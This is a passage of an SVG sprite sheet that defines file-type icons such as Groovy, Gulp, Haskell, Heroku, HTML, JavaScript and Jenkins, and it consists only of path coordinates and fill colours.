17.554-14.262 31.907-31.907 31.907m0-294.206c-17.645 0-31.907-14.262-31.907-31.907s14.262-31.907 31.907-31.907 31.907 14.262 31.907 31.907-14.262 31.907-31.907 31.907" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/></symbol><symbol viewBox="0 0 24 24" id="groovy" xmlns="http://www.w3.org/2000/svg"><path d="M12 1.982a10.119 10.119 0 0 0-10.12 10.12A10.119 10.119 0 0 0 12 22.22 10.119 10.119 0 0 0 22.12 12.1 10.119 10.119 0 0 0 12 1.983zm1.254 2.422c.91 0 1.647.261 2.213.78.571.518.857 1.188.857 2.013 0 .889-.319 1.673-.959 2.35-.64.677-1.376 1.015-2.207 1.015-.486 0-.89-.119-1.213-.357-.317-.238-.476-.532-.476-.88 0-.212.06-.4.181-.563.127-.164.274-.246.438-.246.159 0 .238.092.238.277 0 .164.06.29.182.38.121.09.261.136.42.136.423 0 .828-.29 1.215-.866.391-.582.587-1.202.587-1.863 0-.465-.151-.844-.453-1.135-.301-.296-.69-.445-1.166-.445-.714 0-1.406.318-2.078.953-.666.635-1.211 1.47-1.635 2.506-.417 1.031-.627 2.014-.627 2.945 0 .857.185 1.54.555 2.047.37.503.863.754 1.477.754 1.037 0 2.027-.734 2.974-2.2l1.493-.212c.185-.026.277.018.277.135 0 .053-.072.28-.215.681-.143.402-.337 1.074-.586 2.016.82-.476 1.455-1.003 1.904-1.58v.914c-.36.418-1.046.888-2.062 1.412-.212 1.407-.682 2.493-1.406 3.26-.725.772-1.54 1.16-2.444 1.16-.433 0-.775-.102-1.023-.303-.243-.2-.365-.477-.365-.832 0-.984.955-1.94 2.865-2.865.2-.714.395-1.356.586-1.928-.333.482-.817.907-1.451 1.278-.635.37-1.225.554-1.77.554-.889 0-1.628-.383-2.22-1.15-.588-.772-.881-1.748-.881-2.928 0-1.243.333-2.42 1-3.531a7.747 7.747 0 0 1 2.625-2.674c1.084-.672 2.134-1.008 3.15-1.008zM12.03 16.592c-1.375.687-2.062 1.365-2.062 2.031 0 .354.169.533.508.533.666 0 1.184-.856 1.554-2.564z" fill="#26c6da"/></symbol><symbol viewBox="0 0 24 24" id="gulp" xmlns="http://www.w3.org/2000/svg"><path d="M8.37 15.94a596.238 596.238 0 0 1-.482-4.982c.002-.042-.225-.077-.505-.077h-.508V8.95h3.966V5.198l1.871-1.124c1.14-.685 1.978-1.125 2.144-1.125.4 0 .866.506.866.939 0 .19-.057.422-.127.517-.07.095-.722.53-1.45.966l-1.321.792-.029 1.393-.028 1.393h3.972v1.932h-.98l-.495 4.983-.495 4.983H8.854l-.485-4.906z" fill="#e53935"/></symbol><symbol viewBox="0 0 24 24" id="h" xmlns="http://www.w3.org/2000/svg"><path d="M16.745 19.818h-3.007v-5.882q0-2.381-1.736-2.381-.869 0-1.438.663-.56.662-.56 1.718v5.882H6.988V4.533h3.016v6.508h.037q1.186-1.802 3.193-1.802 3.511 0 3.511 4.239z" stroke-width=".478" fill="#0277bd"/></symbol><symbol viewBox="0 0 253.6 253.6" id="hack" xmlns="http://www.w3.org/2000/svg"><g transform="translate(-29.243 -29.515) scale(1.2301)"><path fill="#607d8b" d="M69.496 159.551v52.576l51.77-52.576zM123.507 41.523l-54.01 52.755v55.084l54.01-54.009z"/><path fill="#eceff1" d="M130.023 95.663v51.501l52.128-51.5z"/><path fill="#607d8b" d="M185.465 101.867l-55.442 55.174v55.083l55.442-55.262z"/><path fill="#ffa000" d="M73.068 154.283l50.427.09v-50.248z"/></g></symbol><symbol viewBox="0 0 300 300.00001" id="haml" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 165.6)"><path d="M78.42-132.307c-12.047-.302-26.924 5.998-26.924 5.998l49.195 99.791L74.605 85.005c23.81 20.134 50.07 10.504 50.07 10.504L136.76 9.212c1.526 1.446 3.146 2.77 4.777 3.995 5.244 3.714 10.925 6.553 16.606 8.738 5.68 2.185 11.583 3.933 17.482 5.244 3.933.874 7.645 1.53 11.578 1.967-1.748 3.933-2.84 8.083-2.621 12.672 0 .437.22.873.656 1.092h.217c4.152 2.185 8.521 3.934 13.328 5.027 4.589.874 9.615 1.312 14.422.656 5.026-.655 10.051-2.623 13.984-5.9 3.933-3.278 6.774-7.648 8.522-12.237l.219-.218v-.217l.656-5.899v-.22c2.185-1.311 4.37-2.621 6.555-4.37 2.622-2.184 5.025-4.589 6.773-7.648 1.748-3.059 2.84-6.774 2.621-10.488-.218-3.496-1.53-6.99-3.06-10.049-1.53-3.059-3.495-5.901-5.68-8.523-4.37-5.026-9.614-9.176-15.295-12.454-5.462-3.496-11.581-6.338-17.7-8.304l-2.404-.656-1.962-.655c-1.311-.437-2.406-1.092-3.498-1.53-2.185-1.31-3.717-2.622-4.809-4.37-2.185-3.278-2.403-8.301-1.31-13.545.218-1.311.656-2.623 1.093-3.934a96.064 96.064 0 0 0 1.31-4.152c.314-1.412.51-2.829.598-4.402l29.203-25.553c-2.275-8.404-27.488-17.158-27.488-17.158l-74.931 63.726-43.243-81.584c-1.553-.35-3.218-.527-4.94-.57zm107.682 73.14c-.449 2.336-.647 4.795-.647 7.258.219 3.715 1.311 7.87 3.715 11.366 2.403 3.496 5.68 6.117 8.957 7.646a29.663 29.663 0 0 0 5.027 1.967l2.623.654 2.184.438c5.68 1.53 11.142 3.714 16.168 6.554 5.025 2.84 9.833 6.337 13.766 10.27s6.992 8.959 7.43 13.984c.218 3.496-.22 6.118-1.313 8.303-1.093 2.404-2.84 4.588-4.807 6.555-.874.874-1.966 1.747-2.84 2.402a27.11 27.11 0 0 0-.654-5.898c-.219-1.093-.438-1.966-.875-3.059-.437-.874-.872-1.966-1.965-2.621-.218 0-.44-.001-.44.217-1.31 3.277-3.494 6.12-5.898 8.086-2.403 1.966-5.462 2.84-8.521 3.058-3.06.219-6.338-.436-9.616-1.31-3.277-.874-6.552-1.968-9.83-3.06l-.439-.22c-.656-.218-1.526.002-1.963.44-1.748 2.185-3.06 4.149-4.59 6.334a58.435 58.435 0 0 0-2.84 5.027c-3.933-1.53-7.649-2.841-11.582-4.37-5.462-2.186-10.925-4.37-15.95-6.991-5.245-2.404-10.268-5.246-14.638-8.524-3.15-2.363-6.062-4.845-8.185-7.681l2.404-17.172z" fill="#f4511e" stroke-width="0" stroke-linejoin="round"/></g></symbol><symbol viewBox="0 0 24 24" id="handlebars" xmlns="http://www.w3.org/2000/svg"><path d="M8.55 10.32c-2.753 0-4.202 3.48-5.793 3.48-.98 0-1.126-.677-1.126-.915 0-.332.236-.706.564-.706.59 0 .414.77.414.77s.798-.555.272-1.298c-.42-.595-1.31-.623-1.92-.17-.617.458-1.057 1.146-.853 2.287.1.551.468 1.35 1.233 1.805.764.455 1.925.566 2.335.566 2.194 0 4.342-1.633 6.639-2.322a5.513 5.513 0 0 1 1.497-.222 6.19 6.19 0 0 1 1.92.226c2.296.689 4.444 2.323 6.638 2.323.41 0 1.57-.11 2.335-.566.765-.455 1.132-1.256 1.231-1.807.204-1.14-.235-1.829-.853-2.287-.61-.453-1.497-.423-1.918.172-.526.743.27 1.297.27 1.297s-.176-.77.414-.77c.329 0 .565.373.565.705 0 .238-.147.914-1.126.914-1.592 0-3.04-3.478-5.794-3.478-2.565 0-3.076 1.177-3.462 1.718-.004.005-.005.011-.008.016-.005-.006-.007-.013-.012-.02-.386-.54-.896-1.717-3.461-1.717z" fill="#ff7043" fill-rule="evenodd" stroke-width=".3"/></symbol><symbol viewBox="0 0 300.00001 300" id="haskell" xmlns="http://www.w3.org/2000/svg"><g stroke-width="2.422"><path d="M23.928 240.5l59.94-89.852-59.94-89.855h44.955l59.94 89.855-59.94 89.852z" fill="#ef5350"/><path d="M83.869 240.5l59.94-89.852-59.94-89.855h44.955l119.88 179.71h-44.95l-37.46-56.156-37.468 56.156z" fill="#ffa726"/><path d="M228.72 188.08l-19.98-29.953h69.93v29.956h-49.95zm-29.97-44.924l-19.98-29.953h99.901v29.953z" fill="#ffee58"/></g></symbol><symbol viewBox="0 0 210 210" id="haxe" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -87)"><path fill="#f68712" stroke-width=".221" d="M42.78 191.545l63.431-63.43 63.431 63.43-63.431 63.431z"/><path d="M42.8 191.592L31.193 148.28 19.59 104.97 62.9 116.575l43.311 11.605-31.706 31.706z" fill="#fab20b" stroke-width=".266"/><path d="M105.956 128.111l-43.19-11.544-43.177-11.597 22.927.185 23.228.294 20.264 11.36z" fill="#fbc707" stroke-width=".265"/><path d="M19.59 104.97l11.596 43.176 11.545 43.19-11.303-19.948-11.36-20.263-.294-23.228z" fill="#fff200" stroke-width=".265"/><path d="M106.23 128.133l43.312-11.605 43.311-11.605-11.605 43.31-11.605 43.312-31.706-31.706z" fill="#f47216" stroke-width=".266"/><path d="M169.711 191.289l11.545-43.19 11.597-43.176-.185 22.927-.294 23.228-11.36 20.263z" fill="#f1471d" stroke-width=".265"/><path d="M192.853 104.923l-43.176 11.597-43.19 11.544 19.947-11.303 20.264-11.36 23.228-.293z" fill="#fbc707" stroke-width=".265"/><path d="M169.643 191.545l11.605 43.31 11.605 43.312-43.311-11.605-43.311-11.606 31.706-31.705z" fill="#f25c19" stroke-width=".266"/><path d="M106.487 255.025l43.19 11.544 43.176 11.598-22.927-.185-23.228-.294-20.264-11.36z" fill="#f68712" stroke-width=".265"/><path d="M192.853 278.167l-11.597-43.176-11.545-43.19 11.303 19.947 11.36 20.264.294 23.228z" fill="#f1471d" stroke-width=".265"/><path d="M106.211 254.976l-43.31 11.605-43.312 11.605 11.605-43.31L42.8 191.563l31.706 31.706z" fill="#f89c0e" stroke-width=".266"/><path d="M42.731 191.82l-11.545 43.19-11.597 43.176.185-22.927.294-23.228 11.36-20.263z" fill="#fff200" stroke-width=".265"/><path d="M19.59 278.186l43.175-11.597 43.19-11.544-19.947 11.303-20.264 11.36-23.228.293z" fill="#f25c19" stroke-width=".265"/></g></symbol><symbol viewBox="0 0 144 152" id="heroku" xmlns="http://www.w3.org/2000/svg"><path d="M118.68 13.279H26.865c-6.337 0-11.476 5.139-11.476 11.476V129.32c0 6.338 5.139 11.477 11.476 11.477h91.813c6.338 0 11.477-5.14 11.477-11.477V24.755c0-6.337-5.139-11.476-11.477-11.476zM44.08 121.669V96.165l14.346 12.752zm44.632 0v-38.08c-.063-2.976-1.496-6.551-7.97-6.551-12.966 0-27.51 6.52-27.654 6.586l-9.008 4.08V32.407h12.752v36.201c6.366-2.072 15.266-4.321 23.91-4.321 7.882 0 12.6 3.099 15.17 5.698 5.484 5.547 5.56 12.613 5.551 13.43v38.255zm3.188-68.54H79.149c5.011-6.576 8.158-13.496 9.564-20.723h12.751c-.86 7.243-3.796 14.187-9.563 20.722z" fill="#6963b9"/></symbol><symbol viewBox="0 0 24 24" id="hpp" xmlns="http://www.w3.org/2000/svg"><path d="M9.757 19.818H6.751v-5.882q0-2.381-1.737-2.381-.868 0-1.438.663-.56.662-.56 1.718v5.882H0V4.533h3.016v6.508h.037Q4.24 9.239 6.247 9.239q3.51 0 3.51 4.239z" stroke-width=".478" fill="#0277bd"/><path d="M13.073 11.448v2h-2v2h2v2h2v-2h2v-2h-2v-2zm7 0v2h-2v2h2v2h2v-2h2v-2h-2v-2z" fill="#0277bd"/></symbol><symbol viewBox="0 0 24 24" id="html" xmlns="http://www.w3.org/2000/svg"><path d="M12 17.56l4.07-1.13.55-6.1H9.38L9.2 8.3h7.6l.2-1.99H7l.56 6.01h6.89l-.23 2.58-2.22.6-2.22-.6-.14-1.66h-2l.29 3.19L12 17.56M4.07 3h15.86L18.5 19.2 12 21l-6.5-1.8L4.07 3z" fill="#e44d26"/></symbol><symbol viewBox="0 0 24 24" id="http" xmlns="http://www.w3.org/2000/svg"><path d="M16.046 13.784c.074-.613.13-1.225.13-1.856s-.056-1.244-.13-1.856h3.137c.148.594.241 1.215.241 1.856a7.65 7.65 0 0 1-.241 1.856m-4.78 5.16c.557-1.03.984-2.144 1.281-3.304h2.738a7.452 7.452 0 0 1-4.019 3.304m-.232-5.16H9.828a12.314 12.314 0 0 1-.149-1.856c0-.631.056-1.253.149-1.856h4.343c.084.603.149 1.225.149 1.856 0 .63-.065 1.243-.149 1.856M12 19.315c-.77-1.113-1.393-2.348-1.773-3.675h3.545c-.38 1.327-1.002 2.562-1.773 3.675m-3.712-11.1h-2.71a7.353 7.353 0 0 1 4.01-3.304c-.557 1.03-.975 2.144-1.3 3.304m-2.71 7.425h2.71c.325 1.16.743 2.274 1.3 3.304a7.433 7.433 0 0 1-4.01-3.304m-.761-1.856a7.65 7.65 0 0 1-.241-1.856c0-.64.093-1.262.241-1.856h3.137c-.074.612-.13 1.225-.13 1.856 0 .63.056 1.243.13 1.856m4.046-9.253c.77 1.114 1.393 2.357 1.773 3.684h-3.545c.38-1.327 1.002-2.57 1.773-3.684m6.422 3.684h-2.738a14.523 14.523 0 0 0-1.28-3.304 7.412 7.412 0 0 1 4.018 3.304m-6.423-5.568c-5.132 0-9.28 4.176-9.28 9.28a9.28 9.28 0 0 0 9.28 9.282 9.28 9.28 0 0 0 9.281-9.281A9.28 9.28 0 0 0 12 2.647z" fill="#e53935" stroke-width=".928"/></symbol><symbol viewBox="0 0 24 24" id="image" xmlns="http://www.w3.org/2000/svg"><path d="M13.009 9.202h5.368l-5.368-5.368v5.368M6.177 2.37h7.808l5.856 5.856v11.711a1.952 1.952 0 0 1-1.952 1.952H6.178a1.951 1.951 0 0 1-1.952-1.952V4.322c0-1.083.868-1.952 1.952-1.952m0 17.567h11.71V12.13l-3.903 3.903-1.952-1.951-5.856 5.855M8.13 9.202a1.952 1.952 0 0 0-1.952 1.952 1.952 1.952 0 0 0 1.952 1.952 1.952 1.952 0 0 0 1.952-1.952A1.952 1.952 0 0 0 8.13 9.202z" fill="#26a69a" stroke-width=".976"/></symbol><symbol viewBox="0 0 512 512" id="ionic" xmlns="http://www.w3.org/2000/svg"><g fill="#4f8ff7"><path d="M423.592 132.804A31.855 31.855 0 0 0 429 115c0-17.675-14.33-32-32-32a31.853 31.853 0 0 0-17.805 5.409C344.709 63.015 302.11 48 256 48 141.125 48 48 141.125 48 256c0 114.877 93.125 208 208 208 114.873 0 208-93.123 208-208 0-46.111-15.016-88.71-40.408-123.196zM391.83 391.832c-17.646 17.646-38.191 31.499-61.064 41.174-23.672 10.012-48.826 15.089-74.766 15.089-25.94 0-51.095-5.077-74.767-15.089-22.873-9.675-43.417-23.527-61.064-41.174s-31.5-38.191-41.174-61.064C68.982 307.096 63.905 281.94 63.905 256c0-25.94 5.077-51.095 15.089-74.767 9.674-22.873 23.527-43.417 41.174-61.064s38.191-31.5 61.064-41.174c23.673-10.013 48.828-15.09 74.768-15.09 25.939 0 51.094 5.077 74.766 15.089a191.221 191.221 0 0 1 37.802 21.327A31.853 31.853 0 0 0 365 115c0 17.675 14.327 32 32 32 5.293 0 10.28-1.293 14.678-3.568a191.085 191.085 0 0 1 21.327 37.801c10.013 23.672 15.09 48.827 15.09 74.767 0 25.939-5.077 51.096-15.09 74.768-9.675 22.873-23.527 43.418-41.175 61.064z"/><circle cx="256.003" cy="256" r="96"/></g></symbol><symbol viewBox="0 0 24 24" id="java" xmlns="http://www.w3.org/2000/svg"><path d="M2 21h18v-2H2M20 8h-2V5h2m0-2H4v10a4 4 0 0 0 4 4h6a4 4 0 0 0 4-4v-3h2a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="javascript" xmlns="http://www.w3.org/2000/svg"><path d="M3 3h18v18H3V3m4.73 15.04c.4.85 1.19 1.55 2.54 1.55 1.5 0 2.53-.8 2.53-2.55v-5.78h-1.7V17c0 .86-.35 1.08-.9 1.08-.58 0-.82-.4-1.09-.87l-1.38.83m5.98-.18c.5.98 1.51 1.73 3.09 1.73 1.6 0 2.8-.83 2.8-2.36 0-1.41-.81-2.04-2.25-2.66l-.42-.18c-.73-.31-1.04-.52-1.04-1.02 0-.41.31-.73.81-.73.48 0 .8.21 1.09.73l1.31-.87c-.55-.96-1.33-1.33-2.4-1.33-1.51 0-2.48.96-2.48 2.23 0 1.38.81 2.03 2.03 2.55l.42.18c.78.34 1.24.55 1.24 1.13 0 .48-.45.83-1.15.83-.83 0-1.31-.43-1.67-1.03l-1.38.8z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="javascript-map" xmlns="http://www.w3.org/2000/svg"><path d="M18 8v2h2v10H10v-2H8v4h14V8h-4z" fill="#ffca28"/><path d="M2.444 2.506h14.135v14.136H2.444V2.506m3.714 11.811c.315.668.935 1.218 1.995 1.218 1.178 0 1.987-.629 1.987-2.003V8.993H8.805v4.508c0 .675-.275.848-.707.848-.455 0-.644-.314-.856-.683l-1.084.651m4.697-.14c.392.769 1.185 1.358 2.426 1.358 1.257 0 2.199-.652 2.199-1.854 0-1.107-.636-1.602-1.767-2.089l-.33-.141c-.573-.243-.816-.408-.816-.801 0-.322.243-.573.636-.573.377 0 .628.165.856.573l1.028-.683c-.432-.754-1.044-1.045-1.884-1.045-1.186 0-1.948.754-1.948 1.752 0 1.083.636 1.594 1.594 2.002l.33.141c.613.267.974.432.974.888 0 .377-.354.652-.903.652-.652 0-1.029-.338-1.312-.81l-1.083.63z" fill="#ffca28"/></symbol><symbol viewBox="0 0 180 180" id="jenkins" xmlns="http://www.w3.org/2000/svg"><defs><clipPath id="gia"><path transform="scale(1 -1)" fill="#37474f" d="M.899-144.42h144.42V0H.899z"/></clipPath></defs><g transform="matrix(1.0691 0 0 -1.0691 9.4 166.143)" clip-path="url(#gia)"><g fill-rule="evenodd"><path d="M107.96 30.661l-12.506-1.876-16.883-1.876-10.943-.312-10.629.312-8.13 2.502-7.19 7.815-5.628 15.945-1.25 3.44-7.504 2.5-4.377 7.191-3.126 10.317 3.44 9.067 8.128 2.814 6.565-3.127 3.127-6.878 3.752.626 1.25 1.563-1.25 7.19-.313 9.068 1.876 12.505-.074 7.143 5.701 9.114 10.005 7.19 17.508 7.504 19.383-2.814 16.883-12.193 7.817-12.505 5.002-9.067 1.25-22.51-3.752-19.384-6.877-17.195-6.566-9.066" fill="#f0d6b7"/><path d="M97.334-23.425l-44.709-1.876v-7.503l3.752-26.262-1.876-2.19-31.264 10.63-2.19 3.752-3.126 35.328-7.19 21.26-1.563 5.002 25.01 17.195 7.818 3.127 6.877-8.441 5.94-5.315 6.88-2.188 3.125-.938L68.57 1.899l2.814-3.44 7.19 2.502-5.002-9.693 27.2-12.818-3.439-1.876" fill="#335061"/><path d="M23.238 85.687l8.128 2.814 6.566-3.127 3.127-6.878 3.751.626.938 3.751-1.876 7.19 1.876 17.197-1.563 9.379 5.627 6.565 12.193 9.692-3.44 4.69-17.194-8.442-7.191-5.627-4.064-8.754-6.253-8.442-1.876-10.005 1.251-10.63" fill="#6d6b6d"/><path d="M36.055 115.07s4.69 11.567 23.448 17.195c18.759 5.628.938 4.065.938 4.065l-20.321-7.817-7.817-7.816-3.438-6.253 7.19.626M26.676 87.875s-6.566 21.886 18.446 25.012l-.938 3.752-17.195-4.065-5.003-16.257 1.251-10.63 3.439 2.188" fill="#dcd9d8"/></g><g fill="#f7e4cd"><path d="M36.681 58.799l4.094 3.966s1.847-.214 2.16-2.402c.312-2.19 1.25-21.886 14.693-32.516 1.227-.97-10.004 1.564-10.004 1.564L37.62 45.042M94.209 64.739s.729 9.477 3.28 8.748c2.553-.729 2.553-3.28 2.553-3.28s-6.198-4.01-5.833-5.468" fill-rule="evenodd"/><path d="M120.16 99.442s-5.153-1.088-5.628-5.628c-.474-4.54 5.628-.938 6.566-.625M82.327 99.129s-6.879-.938-6.879-5.314c0-4.378 7.817-4.065 10.005-2.19"/><g fill-rule="evenodd"><path d="M39.807 78.808s-11.881 7.191-13.131.312c-1.25-6.877-4.065-11.88 1.876-19.07l-4.064 1.25-3.752 9.691-1.25 9.38 7.19 7.504 8.129-.626 4.69-3.751.312-4.69M45.435 98.504s5.315 27.512 32.203 32.827c22.136 4.375 33.765-.938 38.142-5.94 0 0-19.696 23.447-38.455 16.257-18.759-7.191-32.514-20.322-32.202-28.762.532-14.377.313-14.382.313-14.382M117.97 122.27s-9.066.312-9.38-7.817c0 0 0-1.25.625-2.5 0 0 7.192 8.129 11.568 3.751"/><path d="M78.268 111.1s-1.56 12.477-12.199 5.223c-6.878-4.69-6.252-11.255-5.002-12.505s.91-3.77 1.862-2.04c.952 1.728.638 7.356 4.078 8.918 3.439 1.564 9.077 3.31 11.26.404"/></g></g><g fill="#49728b" fill-rule="evenodd"><path d="M48.874 26.597L19.486 13.466s12.193-48.46 5.94-63.467l-4.377 1.563-.313 18.446-8.128 35.015-3.44 9.692 30.639 20.633 9.067-8.753M51.896-.206l4.17-5.087v-18.76h-5.003s-.625 13.132-.625 14.696c0 1.563.624 7.19.624 7.19M52-26.866l-14.069-.625 4.065-2.813L52-31.868"/></g><g fill-rule="evenodd"><path d="M100.15-23.739l11.567.313 2.814-28.764-11.881-1.563-2.5 30.014" fill="#335061"/><path d="M103.27-23.739l17.508.938s7.19 18.133 7.19 19.07c0 .939 6.253 26.263 6.253 26.263l-14.069 14.694-2.813 2.501-7.504-7.503V3.148l-6.565-26.887" fill="#335061"/><path d="M111.09-21.55l-10.942-2.188 1.563-8.755c4.064-1.876 10.943 3.127 10.943 3.127M111.4 33.162l21.885-16.257.626 7.503-16.57 15.32-5.94-6.566" fill="#49728b"/><path d="M62.85-85.332l-6.473 26.266-3.22 19.38-.531 14.385 29.296 1.56 18.226.003-1.658-32.83 2.814-25.324-.312-4.69-23.76-1.876-14.382 3.126" fill="#fff"/><path d="M96.083-23.426s-1.563-32.515 3.127-55.65c0 0-9.38-5.94-23.136-7.503l26.262.938 3.126 1.875-3.752 51.273-.938 10.944" fill="#dcd9d8"/><path d="M115.06-49.691l12.193 3.44 23.135 1.25 3.44 10.629-6.254 18.446-7.19.938-10.005-3.127-9.599-4.686-5.095.935-3.972-1.56" fill="#fff"/><path d="M114.84-43.435s8.128 3.751 9.38 3.438L120.78-22.8l4.065 1.563s2.814-16.257 2.814-18.133c0 0 17.507-.938 19.07-.938 0 0 3.752 7.191 2.814 14.694l3.44-10.005.312-5.628-5.002-7.503-5.627-1.25-9.38.312-3.126 4.064-10.943-1.563-3.44-1.25" fill="#dcd9d8"/></g><path d="M102.56-21.241L95.682-3.733l-7.19 10.317s1.562 4.377 3.75 4.377h7.192l6.878-2.501-.625-11.568-3.127-18.134" fill="#fff"/><path d="M103.9-15.297S95.145 1.585 95.145 4.086c0 0 1.563 3.752 3.752 2.814 2.19-.938 6.879-3.439 6.879-3.439v5.94l-10.63 2.19-7.19-.939 12.193-28.763 2.5-.313" fill="#dcd9d8" fill-rule="evenodd"/><path d="M65.664 25.968l-8.661.942-8.13 2.501v-2.814l3.972-4.38 12.506-5.627" fill="#fff"/><path d="M51.689 25.031s9.693-4.065 12.819-3.127l.311-3.748-8.752 1.872-5.316 3.752.938 1.251" fill="#dcd9d8" fill-rule="evenodd"/><path d="M115.03 9.897c-5.305.156-10.098.786-14.294 1.97.285 1.72-.249 3.408.18 4.647 1.17.843 3.13.83 4.898 1.027-1.529.752-3.677 1.049-5.44.615-.042 1.194-.578 1.934-.902 2.868 2.982 1.064 10.024 8.044 13.984 5.732 1.887-1.099 2.689-7.377 2.835-10.43.122-2.533-.23-5.088-1.261-6.43" fill="#d33833" fill-rule="evenodd"/><path d="M115.03 9.897c-5.305.156-10.098.786-14.294 1.97.285 1.72-.249 3.408.18 4.647 1.17.843 3.13.83 4.898 1.027-1.529.752-3.677 1.049-5.44.615-.042 1.194-.578 1.934-.902 2.868 2.982 1.064 10.024 8.044 13.984 5.732 1.887-1.099 2.689-7.377 2.835-10.43.122-2.533-.23-5.088-1.261-6.43z" fill="none" stroke="#d33833" stroke-width="2"/><path d="M89.66 18.569c-.014-.401-.03-.806-.047-1.21-1.656-1.089-4.33-1.076-6.148-1.99 2.68-.117 4.79-.763 6.614-1.672l-.118-3.033c-3.036-2.078-5.81-5.173-9.384-7.122-1.69-.922-7.622-3.294-9.42-2.875-1.017.236-1.109 1.499-1.516 2.689-.866 2.548-2.861 6.605-3.035 10.44-.222 4.846-.71 12.967 4.51 11.969 4.213-.804 9.113-2.745 12.375-4.527 1.993-1.09 3.146-2.436 6.17-2.669" fill="#d33833" fill-rule="evenodd"/><path d="M89.66 18.569c-.014-.401-.03-.806-.047-1.21-1.656-1.089-4.33-1.076-6.148-1.99 2.68-.117 4.79-.763 6.614-1.672l-.118-3.033c-3.036-2.078-5.81-5.173-9.384-7.122-1.69-.922-7.622-3.294-9.42-2.875-1.017.236-1.109 1.499-1.516 2.689-.866 2.548-2.861 6.605-3.035 10.44-.222 4.846-.71 12.967 4.51 11.969 4.213-.804 9.113-2.745 12.375-4.527 1.993-1.09 3.146-2.436 6.17-2.669z" fill="none" stroke="#d33833" stroke-width="2"/><path d="M92.675 12.788c-.463 2.64-.999 3.393-.792 5.695 7.04 4.693 8.361-8.061.792-5.695" fill="#d33833" fill-rule="evenodd"/><path d="M92.675 12.788c-.463 2.64-.999 3.393-.792 5.695 7.04 4.693 8.361-8.061.792-5.695z" fill="none" stroke="#d33833" stroke-width="2"/><path d="M102.87 10.649s-2.19 3.127-.626 4.065c1.564.938 3.127 0 4.065 1.563s0 2.501.313 4.377 1.877 2.189 3.44 2.501c1.562.313 5.94.938 6.565-.625l-1.876 5.627-3.752 1.25-11.88-6.877-.626-3.44v-6.877M70.041.331c-.376 4.88-.773 9.752-1.215 14.626-.662 7.279 1.748 6.009 8.057 6.009.964 0 5.933-1.15 6.289-1.876 1.705-3.483-2.851-2.709 1.964-5.335 4.065-2.216 11.246 1.346 9.603 6.273-.919 1.095-4.789.341-6.176 1.06l-7.327 3.8c-3.108 1.612-10.29 3.962-13.603 1.709-8.395-5.71.53-19.974 3.524-25.93" fill="#ef3d3a" fill-rule="evenodd"/><g fill="#231f20" fill-rule="evenodd"><path d="M78.268 111.1c-8.521 1.985-12.755-3.566-15.338-9.323-2.306.559-1.389 3.695-.806 5.294 1.525 4.194 7.672 9.778 12.694 9.02 2.161-.325 5.086-2.301 3.45-4.99M119.79 101.4l.404-.016c1.926-4 3.593-8.238 6.022-11.769-1.628-3.79-12.322-7.144-12.157-.338 2.313 1.01 6.305.206 8.356 1.497-1.186 3.254-2.897 6.024-2.625 10.626M82.63 101.29c1.827-3.35 2.422-6.868 5.019-9.4 1.17-1.14 3.444-2.529 2.316-5.698-.263-.747-2.189-2.414-3.3-2.741-4.06-1.2-13.521-.248-10.317 4.814 3.358-.157 7.871-2.18 10.38.257-1.927 3.081-5.363 9.177-4.098 12.768M118.26 67.253c-6.113-3.927-12.93-8.197-22.947-7.207-2.14 1.86-2.956 6.002-.877 8.737 1.082-1.861.402-5.284 3.419-5.799 5.684-.972 12.299 3.477 16.387 5.032 2.535 4.275-.219 5.847-2.503 8.597-4.675 5.636-10.947 12.622-10.72 21.06 1.89 1.37 2.053-2.092 2.325-2.722 2.44-5.714 8.585-13.021 13.07-17.912 1.1-1.205 2.914-2.36 3.115-3.157.582-2.315-1.513-5.09-1.27-6.63M37.668 71.387c-1.916 1.094-2.372 5.91-4.622 6.048-3.215.195-2.629-6.25-2.616-10.018-2.213 2.009-2.602 8.194-.976 11.37-1.853.91-2.68-1.003-3.708-1.677 1.32 9.595 14.036 4.45 11.922-5.723M122.15 63.257c-2.846-5.417-6.871-11.382-15.222-11.555-.17 1.75-.3 4.411.009 5.464 6.384.614 10.325 3.863 15.212 6.091M82.149 59.745c5.326-2.8 15.114-3.102 22.353-2.89.388-1.586.379-3.545.394-5.48-9.305-.463-20.307 1.84-22.747 8.37M81.136 54.523c3.683-9.247 16.341-8.182 27.016-7.927-.47-1.2-1.489-2.62-2.755-3.132-3.42-1.392-12.855-2.448-17.604.074-3.011 1.601-4.946 5.219-6.596 7.34-.797 1.024-4.765 3.64-.06 3.645"/></g><path d="M117.82 3.516c-4.322-7.402-8.457-15.005-13.585-21.534 2.15 6.32 3.07 16.9 3.394 24.965 4.498 2.105 8.349-.474 10.191-3.43" fill="#81b0c4" fill-rule="evenodd"/><g fill="#231f20" fill-rule="evenodd"><path d="M141.07-23.089c-4.839-.969-8.239-5.671-12.959-5.37 2.594 3.658 7.14 5.2 12.959 5.37M143.21-30.661c-3.944-.417-8.576-1.055-12.577-.726 1.894 2.892 9.19 1.894 12.577.726M144.58-37.19c-4.433-.096-9.942-.008-14.155.346 2.492 2.677 11.28.993 14.155-.346"/></g><g fill-rule="evenodd"><path d="M109.48-55.057c.636-5.567 2.843-11.207 2.566-17.304-2.45-.827-3.858-1.55-7.142-1.545-.232 5.181-.925 13.102-.718 18.041 1.615-.107 3.997 1.154 5.294.808" fill="#dcd9d8"/><path d="M102.33 26.985c-2.226-1.453-4.121-3.267-6.259-4.818-4.74-.235-7.327.328-10.81 3.05.057.219.407.121.42.39 5.075-2.262 11.524.92 16.648 1.378" fill="#f0d6b7"/><path d="M75.694-7.603c1.394 6.04 6.857 9.17 11.817 12.497 5.12-6.498 8.234-14.855 11.663-22.92-8.102 2.443-16.38 6.406-23.481 10.423" fill="#81b0c4"/><path d="M104.18-55.865c-.207-4.94.486-12.86.718-18.041 3.283-.004 4.691.718 7.142 1.545.276 6.096-1.93 11.737-2.566 17.304-1.298.346-3.679-.914-5.294-.808zm-51.13 28.09c2.165-19.906 5.301-36.639 11.054-54.266 12.766-3.876 28.157-4.214 39.441-.716-2.072 9.948-1.167 22.06-2.378 32.677-.912 7.98-.447 16.009-1.698 24.15-13.673 2.844-33 .665-46.418-1.845zm49.651 1.72c-.115-8.549.383-16.982 1.036-25.542 3.282.493 5.51.822 8.56 1.49-.99 8.241-.869 17.514-2.886 